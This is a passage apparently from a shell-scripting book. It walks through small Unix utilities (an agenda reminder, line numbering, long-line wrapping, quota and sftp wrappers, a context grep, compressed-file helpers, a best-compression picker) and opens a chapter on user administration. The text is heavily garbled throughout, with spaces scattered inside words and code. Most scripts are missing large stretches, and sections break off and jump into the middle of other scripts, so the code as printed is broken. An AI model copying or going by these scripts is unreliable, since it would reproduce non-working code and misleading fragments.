c en ts= " $(e ch o $ M | cu t -d . -f2 | c u t -c 1 - 2) "
As it does in so many scripts in this book, the c u t command proves tremendously useful here. The second line of this
code grabs the portion of the monthly payment value that follows the decimal point and then chops off anything after
the second character. Ideally, this modification would round up or down according to the value of the third cents
character, rather than doing what is considered a floor function. And this change is surprisingly easy to accomplish:
Just add 0.005 cents to the value before truncating the cents amount at two digits.
This script could also really do with a way to prompt for each field if no parameters are specified. And a more
sophisticated and useful version of this script would let a user specify any three parameters of the four (principal,
interest rate, number of payments, and monthly payment amount) and have the script solve for the fourth value. That
way, if you knew you could afford only $500 per month in payments, and that the maximum duration of a 6 percent
auto loan was five years, you could ascertain the largest amount of principal that you could borrow.
#30 Keeping Track of Events
This script is actually two scripts that implement a simple calendar program. The first script, ad d ag en d a, enables you
to specify either the day of the week or the day and month for recurring events, or the day, month, and year for one-
time events. All the dates are validated and saved, along with a one-line event description, in an . ag en d a file in your
home directory. The second script, ag enda, checks all known events, showing which are scheduled for the current
date.
I find this kind of tool particularly useful for remembering birthdays and anniversaries. It saves me a lot of grief!
The Code
# !/ bin / sh
i sD ayN a me( )
{
# re t urn = 0 if all is well, 1 o n err o r
i sM ont h Nam e( )
{
ca s e $ (e cho $ 1 | tr ' [[:up p er: ] ] ' ' [ [ :l ow er : ]] ') in
j an* |f eb* |m ar*| apr* |may* | jun * ) r et ur n 0 ;;
j ul* |a ug* |s ep*| oct* |nov* | dec * ) r et ur n 0 ;;
* ) r et urn 1 ;;
es a c
}
n or mal i ze( )
{
# Re t urn s tri ng wit h fi rst c h ar u p per c a se , ne x t tw o l o we rc a se
e cho -n $1 | cu t -c 1 | tr ' [ [:l o w er: ] ] ' '[ [: u pp er : ]] '
e cho $1 | cu t -c2- 3| t r '[[ : upp e r :]] ' '[ [: lo w er :] ] '
}
i f [ ! -w $H OME ] ; t hen
e cho "$0 : can no t wr ite in yo u r h o m e d i r ec to ry ($ HO M E) " > &2
e xit 1
fi
e ls e
e ch o " $ (ec ho $d at e|se d 's / //g ' )|$ d e scr i p ti on " > > $a g en d af il e
e xi t 0
c he ckD a te( )
{
# Cr e ate t he po ssib le d efaul t va l u es t h at 'l l m at ch to d ay
w eek d ay= $1 da y=$2 m onth= $ 3 y ear = $ 4
f orm a t1= "$ wee kd ay" fo rmat2 = "$d a y $mo n t h" f o rm at 3 =" $ da y$ m on th $ ye ar "
# an d st ep th ro ugh the file c omp a r ing d at es .. .
e va l $ ( dat e "+w ee kday =\"% a\" m o nth = \ "%b \ " d ay =\ " %e \" ye a r= \" % G\ "" )
e xi t 0
How It Works
The age n da script supports three types of recurring events: weekly events (e.g., every Wednesday), annual events
(e.g., every August 3), and one-time events (e.g., 1 January, 2010). As entries are added to the agenda file, their
specified dates are normalized and compressed so that 3 August becomes 3Aug, and Thursday becomes Thu. This is
accomplished with the n or mali ze function:
n or mal i ze( )
{
# Re t urn s tri ng wit h fi rst c h ar u p per c a se , ne x t tw o l o we rc a se
e cho -n $1 | cu t -c 1 | tr ' [ [:l o w er: ] ] ' '[ [: u pp er : ]] '
e cho $1 | cut - c2-3 | tr '[[: u ppe r : ]]' ' [[ :l ow e r: ]] '
}
This chops any value entered down to three characters, ensuring that the first is uppercase and the second and third
are lowercase. This format matches the standard abbreviated day and month name values from the da t e command
output, which is critical for the correct functioning of the a g end a script.
The age n da script checks for events by taking the current date and transforming it into the three possible date string
formats (dayname, day+month, and day+month+year). It then simply compares each of these date strings to each line
in the .a g end a data file. If there's a match, that event is shown to the user. While long, the a dd a ge nd a script has
nothing particularly complex happening in it.
In my opinion, the coolest hack is how an e va l is used to assign variables to each of the four date values needed:
e va l $ ( dat e "+w ee kday =\"% a\" m o nth = \ "%b \ " d ay =\ " %e \" ye a r= \" % G\ "" )
It's also possible to extract the values one by one (for example, we e kd a y= "$ ( da t e +% a) " ), but in very rare cases
this method can fail if the date rolls over to a new day in the middle of the four d at e invocations, so a succinct single
invocation is preferable. In either case, unfortunately, d a te returns a day number with either a leading zero or a
leading space, neither of which is desired. So the line of code immediately subsequent to the line just shown strips the
leading space from the value, if present, before proceeding.
The companion a ge nda script has no parameters and, when invoked, produces a list of all events scheduled for the
current date.
The Results
To see how this pair of scripts works, let's add a number of new events to the database:
$ a dda g end a
A ge nda : Th e Uni x Remi nder Serv i ce
D at e o f ev en t ( da y mo n, d ay mo n th y e ar, o r da yn a me ): 31 Oc to b er
O ne li n e d es cri pt ion: Hal lowee n
$ a dda g end a
A ge nda : Th e Uni x Remi nder Serv i ce
D at e o f ev en t ( da y mo n, d ay mo n th y e ar, o r da yn a me ): 30 Ma rc h
O ne li n e d es cri pt ion: Pen ultim a te d a y o f Ma rc h
$ a dda g end a
A ge nda : Th e Uni x Remi nder Serv i ce
D at e o f ev en t ( da y mo n, d ay mo n th y e ar, o r da yn a me ): Su n da y
O ne li n e d es cri pt ion: sle ep la t e ( h o pef u l ly )
$ a dda g end a
A ge nda : Th e Uni x Remi nder Serv i ce
D at e o f ev en t ( da y mo n, d ay mo n th y e ar, o r da yn a me ): ma r c 30 03
B ad da t e f or mat : plea se s pecif y da y fir s t , by d a y nu m be r
$ a dda g end a
A ge nda : Th e Uni x Remi nder Serv i ce
D at e o f ev en t ( da y mo n, d ay mo n th y e ar, o r da yn a me ): 30 ma rc h 2 00 3
O ne li n e d es cri pt ion: IM Marv t o s e e ab o u t di nn e r
Now the agen da script offers a quick and handy reminder of what's happening today:
$ a gen d a
O n the Age nd a f or tod ay:
P enu l tim at e d ay of Marc h
s lee p la te (h op eful ly)
I M M a rv to se e abou t di nner
Notice that it matched entries formatted as day+month, day of week, and day+month+year. For completeness, here's
the associated . ag end a file, with a few additional entries:
$ c at ~ /.a ge nda
1 4F eb| V ale nt ine 's Day
2 5D ec| C hri st mas
3 Au g|D a ve' s Bir th day
4 Ju l|I n dep en den ce Day (US A)
3 1O ct| H all ow een
3 0M ar| P enu lt ima te day of March
S un |sl e ep la te (h opef ully )
3 0M ar2 0 03| IM Ma rv to see about din n e r
Another, perhaps easier hack would be to have ag e n da output Nothing scheduled for today when there are no
matches for the current date, rather than On the Agenda for today: and no further output.
Note that this script could also be used on a Unix box for sending out systemwide reminders about events like backup
schedules, company holidays, and employee birthdays. Simply have the a ge n da script on each user's machine point
to a shared read-only . age nd a file, and then add a call to the a ge n da script in each user's .l o gi n or similar file.
Chapter 4: Tweaking Unix
Overview
The outsider view of Unix suggests a nice, uniform command-line experience, helped along by the existence of and
compliance with the POSIX standards for Unix. But anyone who's ever touched more than one computer knows how
much they can vary within these broad parameters.
You'd be hard-pressed to find a Unix or Linux box that doesn't have l s as a standard command, for example, but
does your version support the -- colo r flag? Does your system use the older i ne t d package for launching
daemons, or does it use x inet d? Does your version of the Bourne shell support variable slicing (e.g.,
$ {v ar: 0 :2} )?
Perhaps one of the most valuable uses of shell scripts is to fix your particular flavor of Unix and make it more like other
flavors, in order to make your commands conform with those of different systems. Although most of the modern, fully
featured GNU utilities run just fine on non-Linux Unixes (so you can replace clunky old ta r binaries with the newer
GNU tar , for example), many times the system updates involved in tweaking Unix don't need to be so drastic and
don't need to introduce the potential problems inherent in adding new binaries to a supported system. Instead, shell
scripts can be used to map popular flags to their local equivalents, to use core Unix capabilities to create a smarter
version of an existing command, or even to address the longtime lack of a certain facility.
#31 Displaying a File with Line Numbers
There are a lot of ways to add line numbers to a displayed file, many of which are quite short. Here's a solution using
a wk :
a wk '{ pri nt NR ": "$0 }' < inp u tfi l e
On some Unix implementations, the c at command has an - n flag, and on others, the mo r e (or l e ss , or p g) pager
has a flag for specifying that each line of output should be numbered. But on some Unixes, none of these will work, in
which case the simple script given here can do the job.
The Code
# !/ bin / sh
f or fi l ena me
do
l ine c oun t= "1"
w hil e re ad li ne
do
ec h o " ${ lin ec ount }: $ line"
li n eco un t=" $( ($li neco unt + 1)) "
d one < $ fi len am e
d on e
e xi t 0
The Results
$ n umb e rli ne s t ex t.sn ippe t.txt
1 : Per h aps o ne of the mos t val u abl e use s of s he l l sc r ip t s is to f i x
2 : you r pa rt icu la r fl avor of U n ix a n d m a k e it m o re l i ke ot he r f la v or s,
3 : to b rin g you r comm ands into con f o rma n c e or t o i nc r ea s e co n si st e nc y
4 : acr o ss di ffe re nt s yste ms. T h e o u t sid e r v ie w o f Un i x s ug ge s ts a
5 : nic e , u ni for m comm and- line e xpe r i enc e , h el pe d a lo n g b y th e e xi s te nc e
6 : of a nd co mpl ia nce with the P OSI X sta n d ar ds f o r Un i x. Bu t a ny on e w ho ' s
7 : eve r to uc hed m ore than one c omp u t er k n ow s ho w m uc h t h ey c a n va r y
8 : wit h in th ese b road par amete r s.
This does the trick on systems supporting the -n flag to cu t , for example. Where might this be useful? One obvious
situation is when displaying a log file in most-recent-to-least-recent order.
#32 Displaying a File with Additional Information
Many of the most common Unix commands have evolved within slow-throughput, expensive output environments and
therefore offer minimal output and interactivity. An example is c a t: When used to view a short file, it really doesn't
have much helpful output. It would be nice to have more information about the file. This script, a more sophisticated
variation of Script #31, accomplishes this.
The Code
# !/ bin / sh
# s how f ile - Sh ow s th e co ntent s of a fi l e , in cl u di ng ad d it io n al u s ef ul in fo .
w id th= 7 2
f or in p ut
do
l ine s ="$ (w c - l < $i nput | se d 's / //g ' ) "
c har s ="$ (w c - c < $i nput | se d 's / //g ' ) "
o wne r ="$ (l s - ld $in put | awk '{p r i nt $ 3 }' )"
e cho "-- -- --- -- ---- ---- ----- - --- - - --- - - -- -- -- - -- -- - -- - -- -- - -- -- - -- -- - -- "
e cho "Fi le $i np ut ( $lin es li n es, $ cha r s c ha ra c te rs , o w ne d b y $o w ne r) : "
e cho "-- -- --- -- ---- ---- ----- - --- - - --- - - -- -- -- - -- -- - -- - -- -- - -- -- - -- -- - -- "
w hil e re ad li ne
do
i f [ $ {#l in e} - gt $ width ] ; t hen
ec ho "$ li ne" | fm t | s e d - e '1s / ^ / /' - e ' 2, $ s/ ^ /+ / '
e lse
ec ho " $l ine"
fi
do n e < $ inp ut
e xi t 0
How It Works
To simultaneously read the input line by line and add head and foot information, this script uses a handy shell trick:
Near the end of the script it redirects the input to the wh i l e loop with the snippet d o ne < $i np u t. Perhaps the
most complex element in this script, however, is the invocation of s ed for lines longer than the specified length:
e ch o " $ lin e" | fm t | sed -e '1 s /^/ / ' - e '2 ,$ s/ ^ /+ / '
Lines greater than the maximum allowable length are wrapped with fm t (or its shell script replacement, Script #14). To
visually denote which lines are wrapped continuations and which are retained intact from the original file, the first line of
wrapped output has the usual two-space indent, but subsequent wrapped lines are prefixed with a plus sign and a
single space instead. Finally, the mor e program displays the results.
The Results
$ s how f ile r agg ed .txt
- -- --- - --- -- --- -- ---- ---- ----- - --- - - --- - - -- -- -- - -- -- - -- - -- -- - -- --
F il e r a gge d. txt ( 7 li nes, 639 c har a c ter s , o wn ed by t a yl o r) :
- -- --- - --- -- --- -- ---- ---- ----- - --- - - --- - - -- -- -- - -- -- - -- - -- -- - -- --
S o s h e s at on , with clo sed e y es, a nd h a lf b el i ev ed he r se lf in
W ond e rla nd , t ho ugh she knew s he h a d b u t t o op e n th e m a ga in , a nd
a ll w oul d cha ng e to dul l rea l ity - - the g ra ss w o ul d b e o nl y r us tl i ng
+ i n t h e w in d, an d th e po ol ri p pli n g to t he w av i ng o f t h e re e ds -- t he
r att l ing t eac up s wo uld chang e to t ink l i ng s he e p- be l ls , a nd th e
Q uee n 's sh ril l crie s to the v oic e of t h e sh ep h er d b oy - -a nd th e
s nee z e
o f t h e b ab y, th e sh riek of t h e G r y pho n , a nd a l l th e o t he r q ue er
+ n ois e s, wo uld c hang e (s he kn e w) t o th e co nf us e d cl a mo u r of th e b us y
+ f arm - yar d- -wh il e th e lo wing o f t h e ca t t le i n t he d i st a nc e w ou ld
+ t ake the p lac e of t he M ock T u rtl e ' s h e a vy s ob s .
- -- --- - --- -- --- -- ---- ---- ----- - --- - - --- - - -- -- -- - -- -- - -- - -- -- - -- --
#33 Wrapping Only Long Lines
One limitation of the fmt command and its shell script equivalent, Script #14, is that they wrap and fill everything they
encounter, whether it makes sense to do so or not. This can mess up email (wrapping your . si gn a tu re is not
good, for example) and many other input file formats.
What if you have a document in which you want to wrap just the long lines but leave everything else intact? With the
default set of commands available to a Unix user, there's only one possible way to accomplish this: Explicitly step
through each line in an editor, feeding the long ones to f mt one by one (for example, in vi you could move the cursor
onto the line in question and then use !$f mt to accomplish this).
Yet Unix has plenty of tools that can be combined to accomplish just what we seek. For example, to quickly scan a file
to see if any lines are too long:
a wk '{ if (l eng th ($0) > 7 2) { p rin t $0 } }'
A more interesting path to travel, however, is to use the $ # v arn a me construct in the shell, which returns the length
of the contents of whatever variable is substituted for v a rna m e .
The Code
# !/ bin / sh
# t ool o ng - Fee ds the fmt comm a nd o n ly t h os e li n es i n t h e in p ut s t re am th at ar e
# l ong er th an the spe cifie d le n g th.
w id th= 7 2
i f [ ! -r "$ 1" ] ; th en
e cho "Us ag e: $0 fil enam e" >& 2 ; e x i t 1
fi
w hi le r ead i npu t
do
i f [ ${ #in pu t} - gt $ width ] ; t hen
ech o "$i np ut" | fm t
e l se
ech o "$i np ut"
fi
d one < $ 1
e xi t 0
How It Works
The method of processing the input file in this script is interesting. Notice that the file is fed to the wh il e loop with a
simple < $ 1 and that each line can then be analyzed by reading it with re a d i np ut , which assigns the i np u t
variable to each line of the file.
If your shell doesn't have the ${ #var } notation, you can emulate its behavior with wc :
v ar len g th= "$ (ec ho "$v ar" | wc - c)"
However, wc has a very annoying habit of prefacing its output with spaces to get values to align nicely in the output
listing. To sidestep that pesky problem, a slight modification, which lets only digits through the final pipe step, is
necessary:
v ar len g th= "$ (ec ho "$v ar" | wc - c | s ed ' s /[ ^: di g it :] / /' ) "
The Results
$ t ool o ng ra gge d. txt
S o she sat o n, wi th c lose d eye s , a n d ha l f b el ie v ed h e rs e lf i n
W on der l and , tho ug h sh e kn ew sh e ha d but t o op en th em ag a in , a nd
a ll wo u ld ch ang e to d ull reali t y-- t h e g r a ss w ou l d be on l y ru s tl in g
i n the win d, an d the pool ripp l ing t o t h e w av in g o f t he re ed s -- th e
r at tli n g t ea cup s woul d ch ange t o t i n kli n g s he ep - be ll s , a nd t h e
Q ue en' s sh ri ll cr ies to t he vo i ce o f th e sh ep he r d bo y -- a nd t h e
s ne eze
o f the bab y, th e shri ek o f the Gry p h on, a nd a ll th e o th e r qu e er
n oi ses , wo ul d c ha nge (she knew ) to t he c o nf us ed cl am o ur of t h e bu s y
f ar m-y a rd- -w hil e the lowi ng of the c att l e i n th e d is t an c e wo u ld
t ak e t h e p la ce of the Moc k Tur t le' s hea v y s ob s.
Notice that, unlike a standard invocation of fmt , to o l ong has retained line breaks where possible, so the word
"sneeze," which is on a line by itself in the input file, is also on a line by itself in the output.
#34 Emulating GNU-Style Flags with Quota
The inconsistency between the command flags of various Unix systems is a perpetual problem and causes lots of grief
for users who switch between any of the major releases, particularly between a commercial Unix (Solaris, HP-UX, and
so on) and an open source Linux system. One command that demonstrates this problem is q uo ta , which supports
full-word flags on some Unix systems, while on others it accepts only one-letter flags.
A succinct shell script solves the problem, however, by mapping any full-word flags specified into the equivalent single-
letter alternatives:
# !/ bin / sh
# n ewq u ota - A fr ont end to qu o ta t h at w o rk s wi t h fu l l- w or d f la gs a la GN U.
w hi le [ $# - gt 0 ]
do
c ase $1
in
-- h elp )
ec ho "U s age : $0 [ - -g ro up -- ve r bo s e -- q ui et -g vq ] " >& 2
ex it 1 ; ;
-- g rou p | - gr oup) fl ags=" $ fla g s -g " ; sh if t ; ;
-- v erb os e | - verb ose) fla g s=" $ f lag s -v "; sh if t ; ;
-- q uie t | - qu iet) fl ags=" $ fla g s -q " ; sh if t ; ;
-- ) sh ift; b re ak ; ;
* ) br eak; # do ne w i th ' w hi l e' l o op !
e sac
d on e
How It Works
Did you notice that this script accepts both single- and double-dash prefixes for full words, making it actually a bit more
flexible than the standard open source version, which insists on a single dash for one-letter flags and a double dash
for full-word flags? With wrappers, the sky's the limit in terms of improved usability and increased consistency across
commands.
The Results
$ n ewq u ota - -ve rb ose
D is k q u ota s for u ser dtin t (ui d 24 8 1 0):
F i les ys tem usa ge quot a l i mit g ra ce fi l es qu o ta li mi t g r ac e
/ usr 3382 62 61440 0 6 7 5 840 10 7 03 1 20 0 00 1 26 00 0
$ n ewq u ota - qui et
The -q (quiet) mode emits output only if the user is over quota. You can see that this is working correctly from the last
result because I'm not over quota.
#35 Making sftp Look More Like ftp
The secure version of the file transfer protocol f t p program is included as part of s s h, the secure shell package, but
its interface can be a bit confusing for users who are making the switch from the crusty old f tp client. The basic
problem is that ftp is invoked as f tp r em o t eh o s t, and it then prompts for account and password information. By
contrast, sf tp wants to know the account and remote host on the command line and won't work properly (or as
expected) if only the host is specified.
To address this, a simple wrapper script allows users to invoke my s ft p exactly as they would have invoked the f t p
program, using prompts for needed fields.
The Code
#! /b in /s h
# my sf tp - M ake s sf t p s t a rt u p m o re l ik e ft p .
if [ - z $ac c oun t ] ; th e n
ex it 0 ; # c h a ng e d t h e ir m in d , p r e su m ab l y
fi
if [ - z "$1 " ] ; th e n
ec ho - n " R emo t e h o s t: "
re ad h ost
if [ - z $ h ost ] ; t he n
ex it 0
fi
el se
ho st =$ 1
fi
# En d by sw i tch i ng t o s f t p. T he - C f l ag e na b le s co m p re s s io n he r e .
ex ec / us r/b i n/s f tp - C $ a c co u n t@ $ h os t
The Results
First off, what happens if you invoke s f t p without any arguments?
$ sf tp
us ag e: s ftp [-v C 1] [ - b b a tc h f il e ] [ - o o p t io n ] [ - s s u bs y s te m | pa t h ] [ - B b uf f e r_ si ze]
[-F con f i g] [ -P d ir e c t s e rv e r p a th ] [- S pr o g ra m ]
[us e r@] h o st [ : fi l e [ f i le ] ]
Useful, but confusing. By contrast, invoke this script without any arguments and you can proceed to make an actual
connection:
$ my sf tp
Us er a cc oun t : t a ylo r
Re mo te h ost : in t uit i v e. c o m
Co nn ec ti ng t o i n tui t i ve . c om . . .
ta yl or @i ntu i tiv e .co m ' s p a ss w o rd :
sf tp > qu it
Invoke the script as if it were an ft p session by supplying the remote host, and it'll prompt for the remote account
name and then invisibly invoke s f tp :
$ my sf tp in t uit i ve. c o m
Us er a cc oun t : t a ylo r
Co nn ec ti ng t o i n tui t i ve . c om . . .
ta yl or @i ntu i tiv e .co m ' s p a ss w o rd :
sf tp > qu it
We'll revisit the s f tp command in Script #83, to see how it can be used to securely and automatically synchronize a
local and remote directory.
#36 Fixing grep
Some versions of g re p offer a remarkable variety of capabilities, including the particularly useful ability to show the
context (a line or two above and below) of a matching line in the file. Additionally, some rare versions of gr ep can
highlight the region in the line (for simple patterns, at least) that matches the specified pattern.
Both of these useful features can be emulated in a shell script, so that even users on older commercial Unixes with
relatively primitive gre p commands can enjoy them. This script also borrows from the ANSI color script, Script #11.
The Code
# !/ bin / sh
c on tex t =0
e sc ="^ [ "
b On ="$ { esc }[ 1m" b Off= "${e sc}[2 2 m"
s ed scr i pt= "/ tmp /c grep .sed .$$"
t em pou t ="/ tm p/c gr ep.$ $"
e cho "s/ $p att er n/${ bOn} $patt e rn$ { b Off } / g" > $ s ed sc r ip t
i f [ $ mat ch es - gt 0 ] ; t hen
ec ho "$ {p rev} i\\" >> $ s eds c r ipt
ec ho "- -- -" > > $s edscr i pt
fi
e cho " ${p re v},$ {nex t}p" > > $ s e dsc r i pt
el s e
e cho " ${l in eno} p" > > $se d scr i p t
fi
ma t che s= "$( ($ matc hes + 1)) "
d one
i f [ $ma tc hes - gt 0 ] ; then
se d -n - f $ se dscr ipt $1 | u niq | mo r e
fi
}
i f [ $ # -g t 0 ] ; the n
f or f ile na me ; do
ec h o " -- --- $ file name ---- - "
sh o wMa tc hes $ file name
d one
e ls e
c at - > $t emp ou t # save str e a m t o a te mp fi le
s how M atc he s $ te mpou t
fi
e xi t 0
How It Works
This script uses gre p -n to get the line numbers of all matching lines in the file and then, using the specified number
of lines of context to include, identifies a starting and ending line for displaying each match. These are written out to
the temporary se d script, along with a word substitution command (the very first ec ho statement in the
s ho wMa t che s function) that wraps the specified pattern in bold-on and bold-off ANSI sequences. That's 90 percent
of the script, in a nutshell.
The Results
$ c gre p -c 1 te ac up r agge d.txt
- -- -- r agg ed .tx t ---- -
i n the win d, an d the pool ripp l ing t o t h e w av in g o f t he re ed s -- th e
r at tli n g t ea cup s woul d ch ange t o t i n kli n g s he ep - be ll s , a nd t h e
Q ue en' s sh ri ll cr ies to t he vo i ce o f th e sh ep he r d bo y -- a nd t h e
Regardless of the level of compression, and regardless of which compression programs are installed, working with
compressed files on many Unix systems requires uncompressing them by hand, accomplishing the desired tasks, and
recompressing them when finished. A perfect job for a shell script!
The Code
# ! / b in /s h
# z c at , zmo r e, a n d zg r ep - Th i s s c r i p t s h o u l d b e e i t h e r s y m b o l i c a l l y
# li nk ed o r ha r d li n ked to a l l t h r e e n a m e s - i t a l l o w s u s e r s t o w o r k w i t h
# co mp res s ed f i les t rans par e n t l y .
# F i rs t ste p is t o tr y and is o l a t e t h e f i l e n a m e s i n t h e c o m m a n d l i n e .
# W e 'l l do t his l azil y by ste p p i n g t h r o u g h e a c h a r g u m e n t , t e s t i n g t o
# s e e if it ' s a f ilen a me o r n o t . I f i t i s , a n d i t h a s a c o m p r e s s i o n
# s u ff ix , w e 'll u ncom p ress th e f i l e , r e w r i t e t h e f i l e n a m e , a n d p r o c e e d .
# W h en d one , we' l l re c ompr ess e v e r y t h i n g t h a t w a s u n c o m p r e s s e d .
f o r ar g
do
i f [ - f " $ arg" ] ; t hen
ca se "$ a rg" i n
* .Z) $unZ "$ar g "
arg= " $(ec h o $a rg | s e d ' s / \ . Z $ / / ' ) "
Zlis t ="$Z l ist \"$ a r g \ " "
;;
es ac
fi
n e wa rg s=" $ {new a rgs: - ""} \"$ a r g \ " "
done
c a s e $ 0 in
* z ca t* ) eval cat $new arg s ;;
* z mo re * ) eval more $new arg s ;;
* z gr ep * ) eval grep $new arg s ;;
* ) echo "$0: unkn own b a s e n a m e . C a n ' t p r o c e e d . " > & 2 ; e x i t 1
esac
# a n d do ne
exit 0
How It Works
For any given suffix, three steps are necessary: uncompress the file, rewrite the filename without the suffix, and add it
to the list of files to recompress at the end of the script. By keeping three separate lists, one for each compression
program, this script also lets you easily gre p across files compressed using multiple compression utilities.
The most important trick is the use of the ev a l directive when recompressing the files. This is necessary to ensure
that filenames with spaces are treated properly. When the Z l i s t , g z l i s t , and b z l i s t variables are instantiated,
each argument is surrounded by quotes, so a typical value might be " " s a m p l e . c " " t e s t . p l "
" p e n ny .j ar" " . Because the list has levels of quotes, invoking a command like c a t $ Z l i s t results in c a t
complaining that file " s ampl e .c" wasn't found. To force the shell to act as if the command were typed at a
command line (where the quotes are stripped once they have been utilized for a r g parsing), e v a l is used, and all
works as desired.
Once that's done, you have three new commands that have a shared code base, and each accepts a list of files to
process as needed, uncompressing and then recompressing them when done.
The Results
The standard co m pres s utility quickly shrinks down r a g g e d . t x t and gives it a . Z suffix:
$ c o mp re ss r agge d .txt
With r ag ged . txt in its compressed state, we can view the file with z c a t :
$ z c at r agg e d.tx t .Z
S o s he s at o n, w i th c l osed ey e s , a n d h a l f b e l i e v e d h e r s e l f i n
W o n d er la nd, thou g h sh e kne w s h e h a d b u t t o o p e n t h e m a g a i n , a n d
a l l wo ul d c h ange to d u ll r eal i t y - - t h e g r a s s w o u l d b e o n l y r u s t l i n g
i n t he w ind , and the p ool rip p l i n g t o t h e w a v i n g o f t h e r e e d s - - t h e
r a t t li ng te a cups woul d cha nge t o t i n k l i n g s h e e p - b e l l s , a n d t h e
Q u e e n' s shr i ll c r ies t o th e v o i c e o f t h e s h e p h e r d b o y - - a n d t h e
s n e e ze o f t h e ba b y, t h e sh rie k o f t h e G r y p h o n , a n d a l l t h e o t h e r
q u e e r no ise s , wo u ld c h ange (s h e k n e w ) t o t h e c o n f u s e d c l a m o u r o f
t h e bu sy fa r m-ya r d--w h ile the l o w i n g o f t h e c a t t l e i n t h e d i s t a n c e
w o u l d ta ke t he p l ace o f th e M o c k T u r t l e ' s h e a v y s o b s .
All the while, the file starts and ends in its original compressed state:
$ l s - l rag g ed.t x t*
- r w - r- -r -- 1 ta y lor staf f 4 4 3 J u l 7 16:07 ragged.txt.Z
The logical solution is to have a script that compresses files using each of the tools and then selects the smallest
resultant file as the best. That's exactly what be s t com p r ess does. By the way, this is one of my favorite scripts in
the book.
The Code
# !/ bin / sh
Z =" com p res s" gz=" gzip " bz= " b zip 2 "
Z ou t=" / tmp /b est co mpre ss.$ $.Z"
g zo ut= " /tm p/ bes tc ompr ess. $$.gz "
b zo ut= " /tm p/ bes tc ompr ess. $$.bz "
s ki pco m pre ss ed= 1
i f [ " $ 1" = "-a " ] ; then
s kip c omp re sse d= 0 ; shif t
fi
i f [ $ # -e q 0 ] ; then
e cho "Us ag e: $0 [-a ] fi le or fil e s to o pt im al l y co m pr e ss " > &2 ; e xi t 1
fi
f or na m e
do
i f [ ! - f "$n am e" ] ; t hen
ec h o " $0 : f il e $n ame not f o und . Ski p p ed ." > & 2
co n tin ue
fi
d on e
e xi t 0
How It Works
The most interesting line in this script is
s mal l est =" $(l s -l " $nam e" $Z o ut $ g zou t $b zo ut | \
a w k ' {p rin t $5"= "NR} ' | s o rt - n | c u t -d = - f2 | he a d -1 ) "
This line has ls output the size of each file (the original and the three compressed files, in a known order), chops out
just the file sizes with awk , sorts these numerically, and ends up with the line number of the smallest resultant file. If
the compressed versions are all bigger than the original file, the result is 1, and an appropriate message is output.
Otherwise, sm al les t will indicate which of c o m pre s s , g z ip, or b zi p2 did the best job. Then it's just a matter of
moving the appropriate file into the current directory and removing the original file.
The three compression calls are done in parallel by using the trailing & to drop each of them into its own subshell,
followed by the call to w ait , which stops the script until all the calls are completed. On a uniprocessor, this might not
offer much performance benefit, but with multiple processors, it should spread the task out and complete quite a bit
faster.
The Results
The best way to demonstrate this script is with a file that needs to be compressed:
$ l s - l al ic e.t xt
- rw -r- - r-- 1 t ay lor sta ff 1 5 487 2 Dec 4 2 00 2 a li c e. t xt
The script hides the process of compressing the file with each of the three compression tools and instead simply
displays the results:
$ b est c omp re ss al ice. txt
B es t c o mpr es sio n is w ith compr e ss. F ile r en am ed al ic e .t x t. Z
You can see that the file is now quite a bit shorter:
$ l s - l al ic e.t xt .Z
- rw -r- - r-- 1 t ay lor whe el 6 6 287 J ul 7 1 7: 31 al ic e .t x t. Z
Chapter 5: System Administration: Managing Users
Overview
No sophisticated operating system can run itself without some human intervention, whether it's Windows, Mac OS, or
Unix. If you use a multiuser Unix system, someone no doubt is performing the necessary system administration tasks.
You might be able to ignore the proverbial "man behind the curtain" who is managing and maintaining everything, or
you might well be the All Powerful Oz yourself, the person who pulls the levers and pushes the buttons to keep the
system running. Even if you have a single-user system, like a Linux or Mac OS X system, there are system
administration tasks that you should be performing, whether you realize it or not.
Fortunately, streamlining life for Unix system administrators is one of the most common uses of shell scripting, and as a
result there are quite a few different shell scripts that sysadmins use, from the simple to the complex. In fact, there are
usually quite a few commands in Unix that are actually shell scripts, and many of the most basic tasks, like adding
users, analyzing disk usage, and managing the filespace of the guest account, can easily be done in relatively short
scripts.
What's surprising is that many system administration scripts are no more than 20 to 30 lines long, total. This can be
easily calculated on the command line for a given directory:
$ w c - l $( fi le /u sr/b in/* | gr e p " s c rip t " | g re p - v p er l | c u t -d : - f1 ) | \
s ort -n | hea d -15
3 /u sr /bi n/ bdft ops
3 /u sr /bi n/ font 2c
3 /u sr /bi n/ gsbj
3 /u sr /bi n/ gsdj
3 /u sr /bi n/ gsdj 500
3 /u sr /bi n/ gslj
3 /u sr /bi n/ gslp
3 /u sr /bi n/ gsnd
4 /u sr /bi n/ 4odb
4 /u sr /bi n/ 4xsl t
4 /u sr /bi n/ krdb
5 /u sr /bi n/ 4rdf
5 /u sr /bi n/ 4xup date
6 /u sr /bi n/ chec kXML
6 /u sr /bi n/ kdb2 html
None of the shortest 15 scripts in the /usr/ b in/ directory are longer than 6 lines. And at 14 lines, the Red Hat
Linux 9.0 script /u sr /bi n/ mute is a fine example of how a little shell script can really improve the user experience:
# ! /bi n /sh
# $ Aum i x: au mix /s rc/m ute, v 1.1 200 2 / 03/ 1 9 0 1: 09 : 18 t r ev o r Ex p $
# C opy r igh t (c) 2 001, Ben Ford and T rev o r J oh ns o n
#
# R un t his s cri pt to mute , the n ag a i n t o un -m ut e .
# N ote : it w ill c lobb er y our s a ved s ett i n gs .
#
v ol ume s =$( au mix - vq | tr - d ,)
i f [ $ ( ech o $vo lu mes | aw k '{p r int $ 2}' ) -n e 0 - o \
$( ec ho $v olum es | awk ' {pr i n t $ 3 } ') - ne 0 ]; th e n
au mi x - S -v 0
e ls e
au mi x - L > /d ev/n ull
fi
Like the mut e script, the scripts presented in this chapter are short and useful, offering a range of administrative
capabilities, including easy system backups, showing what system services are enabled through both i ne td and
x in etd , an easy front end to the da te command for changing the current date and time, and a helpful tool to
validate cro nta b files.
#39 Analyzing Disk Usage
Even with the advent of very large disks and their continual drop in price, system administrators seem to perpetually be
tasked with keeping an eye on disk usage to ensure that the system doesn't fill up.
The most common monitoring technique is to look at the /u s e rs or /h om e directory, using the d u command to
ascertain the disk usage of all the subdirectories, and then reporting the top five or ten users therein. The problem with
this approach, however, is that it doesn't take into account space usage elsewhere on the hard disk(s). If you have
some users who have additional archive space on a second drive, or sneaky types who keep MPEGs in a dot directory
in /tm p or in an unused and accidentally opened directory in the f tp area, they'll escape detection. Also, if you have
home directories spread across multiple devices (e.g., disks), searching each /h o me isn't necessarily optimal.
Instead, a better solution is to get all the account names directly from the / et c /p as s wd file and then to search the
file systems for files owned by each account, as shown in this script.
The Code
# !/ bin / sh
e xi t 0
How It Works
